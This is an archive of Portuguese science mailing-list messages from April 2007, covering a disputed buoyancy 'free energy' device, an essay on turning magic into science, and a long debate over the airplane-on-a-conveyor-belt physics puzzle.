Enviada em: domingo, 15 de abril de 2007 20:18
Assunto: RE: [ciencialist] Re: A energia da flutuação


Minha gente,
o cara está INVENTANDO e imaginando!
Vcs sabem o que é isso?
Já experimentaram?
Não inventa quem quer, a invenção é inevitável... é uma luta violenta!
Não pode haver sensura prévia e há que haver experimentação!
Será que não dá para apreciar a BOA IDÉIA do mecanismo?
Os flutuantes são muitos e preecherão todo o tubo vertical de água. Imaginem
o ''potencial'' da queda e a ''pressão'' total da subida!!!
A água será expulsa para algum lugar, certo?
Com um jogo de duas válvulas... Também não é difícil de se imaginar *uma
outra coluna paralela* só para conter o volume excedente, como um vaso
comunicante...
Quanto vai ''custar'' abrir e fechar válvulas e repor alguma água? Que tipo
de válvulas? Tem que experimentar e pensar. Trata-se de algo em processo de
criação, pô!
Mais fácil é ridicularisar e censurar de longe.
Boa noite... fica bonzinho e bonitinho aí no seu mundinho seguro...
abr/Muliro Silva SP 15/abr07


>From: José Carlos Antonio <profjc2003@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: A energia da flutuação
>Date: Sun, 15 Apr 2007 06:09:27 -0000
>
>Meu japonês é péssimo, mas energia "extra", do tipo "grátis",
>contraria o que sabemos sobre os princípios de conservação.
>
>Abraços,
>JC
>
>
>
>
>--- Em ciencialist@yahoogrupos.com.br, "Tipoalgo" <tipoalgo@...> escreveu
> >
> > Olá a todos,
> >
> > Pergunto aos mestres: O que há de errado?
> >
> > Podemos ter extra energia útil com esta idéia:
> >
> > http://www.youtube.com/watch?v=gxnHJoyrQpM&mode=related&search=
> >
> > Agora estou novamente em dúvida.
> >
> > Socorro Professor!
> >
> > Se já apareceu por aqui, desculpem-me.
> >
> > Abraços
> >
> > Tipoalgo
> >
>
>
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SUBJECT: Transformando Mágica em Ciencia ::: (sobre fazer ciência)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 16/04/2007 11:37

TRANSFORMANDO MÁGICA EM CIÊNCIA
http://magicaemciencia.blogspot.com

(sobre fazer ciência)

“Por favor, Neo, apenas escute. Eu sei por que você
está aqui. Eu sei o que você tem feito. Eu sei por que
você mal dorme, por que você vive só, e por que, noite
após noite, você se senta ao seu computador. Você está
procurando. Eu sei, porque eu estava procurando a
mesma coisa uma vez. E quando ele me achou, ele me
falou que eu não o estava procurando realmente. Eu
estava procurando uma resposta. É a pergunta, Neo! É a
pergunta que nos deixa malucos! É a pergunta que o
trouxe aqui. Você sabe a pergunta da mesma maneira que
eu.” (Trinity, personagem do filme Matrix)

OBSERVANDO O DESCONHECIDO

Qualquer pessoa se sente fascinada frente a uma
mágica. Mágicas são um desafio à observação, a
imaginação e a razão. O trabalho de um mágico é tentar
nos convencer de que ele é capaz de enganar as leis da
natureza. Nosso trabalho é ficar de olhos bem abertos
para tentar descobrir o truque que ele está usando.
Sabemos que um truque não é uma manobra que engana as
leis da natureza, mas sim nossa observação.

QUESTIONANDO O DESCONHECIDO

O que acontece quando um mágico executa um truque que
já conhecemos? A mágica deixa de acontecer, não é
mesmo? A ilusão desaparece porque o mágico não
consegue mais enganar nossa observação, nem nossa
razão. A memória torna visível as manobras invisíveis
que o mágico executa. Quando um mágico executa um
truque que já conhecemos não temos porque questiona-lo
também. O que é conhecido nunca é questionado pelo
cérebro, é apenas lembrado (visto com a memória). O
cérebro só questiona aquilo que desconhece (a mágica).
É por isto também que o processo de investigação de
uma mágica sempre começa com perguntas sobre o
desconhecido (invisível): “o que aconteceu com o
coelho?, porque o coelho desapareceu?, como o coelho
desapareceu?, para onde foi o coelho?”

FORMULAR QUESTÕES É INEVITÁVEL

Questionar o desconhecido é um processo cerebral
espontâneo e inevitável. O cérebro está sempre
formulando questões com base no que conhece para
compreender o que desconhece. O questionamento
cerebral funciona assim: “se isto, logo (?)”. Só um
cérebro morto não questiona mais. E o segredo, como
sempre, está ai: “no inevitável”. Porque somos
obrigados a pensar? Você já se deu conta disto? Pensar
não é uma opção, é obrigação. Somos obrigados a
pensar! Você conhece alguém que não pense? Quando
vemos uma pessoa parada, em silencio, logo
perguntamos: “o que você está pensando?”. Como sabemos
que a pessoa está pensando? E se ela não estiver
pensando? Supomos que está pois nós também sempre
estamos. Pensar é uma obrigação do cérebro, assim como
pulsar é uma obrigação do coração.

RESPONDER A QUESTÃO É IGUALMENTE INEVITÁVEL

Pensar é uma obrigação que faz o cérebro procurar a
causa desconhecida para o fenomeno (mágica) observada:
“se isto, logo (?)”. Ou seja, procurar a causa
desconhecida também não é uma opção para o cérebro, é
igualmente uma obrigação. Por exemplo, uma pessoa
acorda, vai procurar os sapatos onde acredita que os
deixou e não os encontra, o que o cérebro faz diante
do "magico desaparecimento dos sapatos"? Primeiro o
cérebro questiona: SE meus sapatos não estão aqui,
LOGO (?). Esta é a inevitável pergunta. Mas a resposta
também é inevitável. Então o processo todo fica assim:
SE meus sapatos não estão aqui, LOGO alguém os pegou.
O que o cérebro está fazendo? O cérebro está tentando
vestir com uma roupa conhecida a causa pelada e
desconhecida. Ou seja, o cérebro está tentando
transformar mágica em ciência.

TRUQUES MENORES E MAIORES

O cérebro sempre está tentando transformar mágica em
ciência, sejam elas mágicas menores ou maiores,
mágicas particulares ou universais. Einstein, por
exemplo, observou e questionou a seguinte mágica: SE a
observação muda o observado, LOGO (?). Primeiro
Einstein observou, depois seu cérebro automaticamente
formulou a questão. Por fim seu cérebro respondeu: SE
a observação muda o observado, LOGO existe uma
relação. Eis a lei da relação (relatividade).

Mas note, Einstein não descobriu a relatividade porque
ele quis: ele foi obrigado! Einstein apenas observou
uma mágica. Foi seu cérebro que lhe obrigou a formular
a questão, e igualmente lhe obrigou a dar uma
resposta. Incrível isto, não é? Mas isto não acontece
só com Einsteins não, acontece com todos os seres
humanos o tempo todo. Uma vez que observamos uma
mágica (um fenômeno), nosso cérebro cria um SE --- SE
meus sapatos não estão aqui, LOGO (?) --- Uma vez que
o cérebro cria a questão, uma resposta é inevitável
--- SE meus sapatos não estão aqui, LOGO alguém os
pegou --- Podemos nos equivocar terrivelmente na
resposta. Talvez ninguém pegou os sapatos. Talvez
apenas os deixamos do outro lado da cama. Mas que uma
resposta, seja qual for, é inevitável, é.

Newton, por exemplo, observou a queda mágica da maça,
e seu cérebro logo questionou: SE a maça cai, LOGO
(?). Para responder sua própria questão, Newton
observou várias vezes o mesmo truque, postulou
referencias conhecidas e formulou sua teoria sobre o
desconhecido: SE a maça cai, LOGO é porque a natureza
está executando o truque da lei da gravidade. Claro
que depois de ter dito isto Newton teve que explicar o
truque da natureza para todos os outros curiosos de
sua época. Se a explicação de Newton é certa ou
errada, não vem ao caso agora, o mais importante neste
momento é notar que desde a explicação de Newton (o
LOGO de Newton) a humanidade deixou de ver a queda da
maça como mágica e passou a ver como ciência (LÓGICA).

A BUSCA DA RESPOSTA

São muitas as mágicas que uma pessoa pode observar na
existência e transformar em ciência. Mágicas químicas,
mágicas físicas, mágicas biológicas, mágicas
comportamentais, etc. Contudo, será que existe mágica
mais instigante para se descobrir do que a própria
mágica de se transformar o desconhecido em conhecido
(mágica em ciência)? Ou seja, a mágica do pensamento?
Creio que não. O mágico no circo tira o coelho da
cartola, mas é o pensamento que tira o circo, o mágico
e o coelho do desconhecido e irracional e lhes dá o
corpo do conhecimento humano.

A vida do cérebro é uma constante busca da resposta
para esta mágica das mágicas. O cérebro não tem a
opção de “não-buscar” uma resposta. Observamos nossa
fantástica capacidade de conhecer o desconhecido e o
cérebro automaticamente formula a questão: “SE
conheço, LOGO (?)”. Buscar uma resposta para esta
pergunta é inevitável para o cérebro, não é uma opção,
é uma obrigação. Ou seja, em maior ou menor grau,
somos todos cientistas, todos os instantes.


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SUBJECT: Balanço do avião - Nova situação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 12:32

Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona freio algum pois percebe que a esteira já está suportando o peso do aparelho e que as rodas estão paradas em relação à esteira (não transladam e não giram); mas desliga os motores. Não se preocupe com o comprimento da esteira; ela vai até onde nos interessar e, eventualmente, poderá ir lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 15 de abril de 2007 23:25
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá, Homero! Procuro esclarecer as questões que ainda apresentam dificuldade
de compreensão, conforme são apresentadas no texto do seu e-mail abaixo,
após JR -, OK?
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:00 PM
Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


Olá Jose Renato

Eu quase resisti, e deixei sua mensagem, errada como sempre, de
lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.

Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
tivesse acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido sobre a esteira os mesmos 1000
metros à direita. Isto é, continuaria posicionado no ponto 0 no
solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
ar que o circunda. É como se estivesse estacionado no ponto 0 no
solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
quando levado por um furação."

Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
quase fanática, isso deve explicar seu problema com a esteira. Você
'acredita" que a esteira pode, de alguma forma mágica, influenciar o
avião. E ao "encontrar" esta resposta primeira, não consegue mais
abandona-la, devido a fé que tem nela. [ ... ]
JR - O que é demais? O que a fé tem a ver com a questão do avião? Tente ser
objetivo e específico.

[ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
mover, está pensando em "PERCORRER" mil metros SOBRE a esteira, quando ele
iria , não importa o referencial, percorrer mil metros em relação ao ar e
chão, e 2000 em relação a esteira, não importa como meça isso!
JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me onde na
minha explanação menciono as rodas do avião. O avião transportado pela
esteira e é impulcionado pelas turbinas... Não falo em rodas.

Vou tentar assim mesmo, quem sabe vê "a luz"..:-)

Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
exemplo, ele se encontra a mil metros do local inicial, para onde foi
levado pela "esteira". Como está o avião neste momento, Renato?
Se está "se movendo", para tras, então as turbinas vão ter de lutar
contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
primeiro vencer esse movimento antes de começar a se mover para frente*.
JR - Seu raciocínio está considerando um ponto de referência no solo-terra.
Se vc considerar o ponto de referencia na pista-esteira o avião começa a se
deslocar para frente *na esteira* por menor que seja esse deslocamento
*sobre a esteira*. Nesse caso, quando o avião atingir a velocidade igual a
da esteira, em sentido contrário, ele estará parado em relação ao solo-terra
e ao ar que o circunda.

Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
se referem ao movimento do avião, e NÃO a esteira. Não é esta que
impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
JR - A esteira não é irrelevante, é parte fundamental do problema. Tente
visualizar um avião decolando numa pista. Nesse caso, consideramos que a
pista esta "parada" e só o avião se move. Agora considere que essa pista
está se movendo em sentido contrário ao do avião. Tente raciocinar em cima
disso...

[ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a 27 mil
quilômetros por hora e POR ISSO não cai na Terra. Ele não está suspenso em
órbita, mas a uma enorme velocidade, que permite que a 'curva" de queda seja
igual a curva da Terra.
Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
uma curvatura MENOR que a curvatura da Terra.
JR - Nada a ver...

Volte a esteira. Se mover o avião para tras, com qualquer força, por
exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
movimento antes de começar a se mover para frente.
JR - Digressões desnecessárias. As forças principais são fornecidas por
motores para movimentar a esteira e pelas as turbinas para movimentar o
avião. E bastam.

O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
a esteira se move a velocidade do avião, em sentido contrário. Isso
causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
JR - Aqui vc está considerando um ponto de referencia no solo-terra. Neste
esquema estamos de acordo.

Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
movimento para tras e depois começar a andar para frente, em relação
ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
TRAS!!!
JR - Continua considerando um ponto de referência no solo-terra. Tente
pensar o que ocorre quando o avião aciona as turbinas e começa a se deslocar
*na mesma velocidade do trem* em sentido contrário!?

Como a esteira do enunciado nunca conseguira mover o avião para tras,
ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um avião podem
ser transportadom por uma esteira em movimento, sim. Vc está confundindo as
duas soluções... Acima - quando considera o ponto de ref no solo-terra -
afirma que precisa vencer o movimento do trem para *começar a se deslocar
para frente* e agora não precisa mais. Por que? Não há dúvidas que em ambas
as soluções o avião está sujeito ao movimento da esteira que tem *a mesma
velocidade dele* em sentido contrário. Observe que, quando utilizamos um
ponto de ref no solo-terra, a velocidade do avião em relação à esteira é *o
dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.

Esta é minha última tentativa, Renato, depois fica por sua conta
vencer sua fé cega e finalmente entender seu erro no problema.

Homero

Abraços

José Renato
.........................
--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança. Entretanto,
para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas. Esse comentário inicial é para relembrar e
alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações. No
nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.
> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda. É como se
estivesse
> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
não alça
> vôo... A não ser quando levado por um furação.
>
> Caso não tenha entendido alguma passagem peço especificar.
>
> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)



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SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 13:10

Olá Luiz

O avião, nas condições propostas e tomando o atrito dos rolamentos das rodas como zero (depois tratamos do atrito mínimo), vai parar da mesma forma como um avião descendo no solo, a partir do atrito do ar (e apenas do ar) ou do uso de seus jatos em reversão. Se não usar os jatos, vai demorar para parar, pois o atrito do ar levará mais tempo para desacelerar do que os jatos em reverso.

O interessante nesse experimento, é que com o atrito dos rolamentos sendo ZERO, o avião vai parar e ficar IMÓVEL em relação ao solo, com a esteira se movendo como quiser abaixo dele, em qualquer velocidade, NÃO IMPORTA, VIU RENATO, que referencial se meça isso..:-)

Se os rolamentos das rodas tem atrito, então ele vai parar um pouco mais rápido que se fosse zero, pois o atrito do ar (grande) mais o atrito dos rolamentos (mínimo) será somado para imobiliza-lo.

Em qualquer circunstância o avião será desacelerado, tanto na esteira a se mover, quanto no solo fixo, na mesma medida, o que pode esclarecer o engano do Renato (embora eu tenha dúvidas sobre isso).

Um abraço.

Homero


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona freio algum pois percebe que a esteira já está suportando o peso do aparelho e que as rodas estão paradas em relação à esteira (não transladam e não giram); mas desliga os motores. Não se preocupe com o comprimento da esteira; ela vai até onde nos interessar e, eventualmente, poderá ir lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 15 de abril de 2007 23:25
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada

Olá, Homero! Procuro esclarecer as questões que ainda apresentam dificuldade
de compreensão, conforme são apresentadas no texto do seu e-mail abaixo,
após JR -, OK?
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:00 PM
Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada

Olá Jose Renato

Eu quase resisti, e deixei sua mensagem, errada como sempre, de
lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.

Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
tivesse acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido sobre a esteira os mesmos 1000
metros à direita. Isto é, continuaria posicionado no ponto 0 no
solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
ar que o circunda. É como se estivesse estacionado no ponto 0 no
solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
quando levado por um furação."

Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
quase fanática, isso deve explicar seu problema com a esteira. Você
'acredita" que a esteira pode, de alguma forma mágica, influenciar o
avião. E ao "encontrar" esta resposta primeira, não consegue mais
abandona-la, devido a fé que tem nela. [ ... ]
JR - O que é demais? O que a fé tem a ver com a questão do avião? Tente ser
objetivo e específico.

[ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
mover, está pensando em "PERCORRER" mil metros SOBRE a esteira, quando ele
iria , não importa o referencial, percorrer mil metros em relação ao ar e
chão, e 2000 em relação a esteira, não importa como meça isso!
JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me onde na
minha explanação menciono as rodas do avião. O avião transportado pela
esteira e é impulcionado pelas turbinas... Não falo em rodas.

Vou tentar assim mesmo, quem sabe vê "a luz"..:-)

Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
exemplo, ele se encontra a mil metros do local inicial, para onde foi
levado pela "esteira". Como está o avião neste momento, Renato?
Se está "se movendo", para tras, então as turbinas vão ter de lutar
contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
primeiro vencer esse movimento antes de começar a se mover para frente*.
JR - Seu raciocínio está considerando um ponto de referência no solo-terra.
Se vc considerar o ponto de referencia na pista-esteira o avião começa a se
deslocar para frente *na esteira* por menor que seja esse deslocamento
*sobre a esteira*. Nesse caso, quando o avião atingir a velocidade igual a
da esteira, em sentido contrário, ele estará parado em relação ao solo-terra
e ao ar que o circunda.

Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
se referem ao movimento do avião, e NÃO a esteira. Não é esta que
impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
JR - A esteira não é irrelevante, é parte fundamental do problema. Tente
visualizar um avião decolando numa pista. Nesse caso, consideramos que a
pista esta "parada" e só o avião se move. Agora considere que essa pista
está se movendo em sentido contrário ao do avião. Tente raciocinar em cima
disso...

[ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a 27 mil
quilômetros por hora e POR ISSO não cai na Terra. Ele não está suspenso em
órbita, mas a uma enorme velocidade, que permite que a 'curva" de queda seja
igual a curva da Terra.
Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
uma curvatura MENOR que a curvatura da Terra.
JR - Nada a ver...

Volte a esteira. Se mover o avião para tras, com qualquer força, por
exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
movimento antes de começar a se mover para frente.
JR - Digressões desnecessárias. As forças principais são fornecidas por
motores para movimentar a esteira e pelas as turbinas para movimentar o
avião. E bastam.

O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
a esteira se move a velocidade do avião, em sentido contrário. Isso
causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
JR - Aqui vc está considerando um ponto de referencia no solo-terra. Neste
esquema estamos de acordo.

Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
movimento para tras e depois começar a andar para frente, em relação
ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
TRAS!!!
JR - Continua considerando um ponto de referência no solo-terra. Tente
pensar o que ocorre quando o avião aciona as turbinas e começa a se deslocar
*na mesma velocidade do trem* em sentido contrário!?

Como a esteira do enunciado nunca conseguira mover o avião para tras,
ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um avião podem
ser transportadom por uma esteira em movimento, sim. Vc está confundindo as
duas soluções... Acima - quando considera o ponto de ref no solo-terra -
afirma que precisa vencer o movimento do trem para *começar a se deslocar
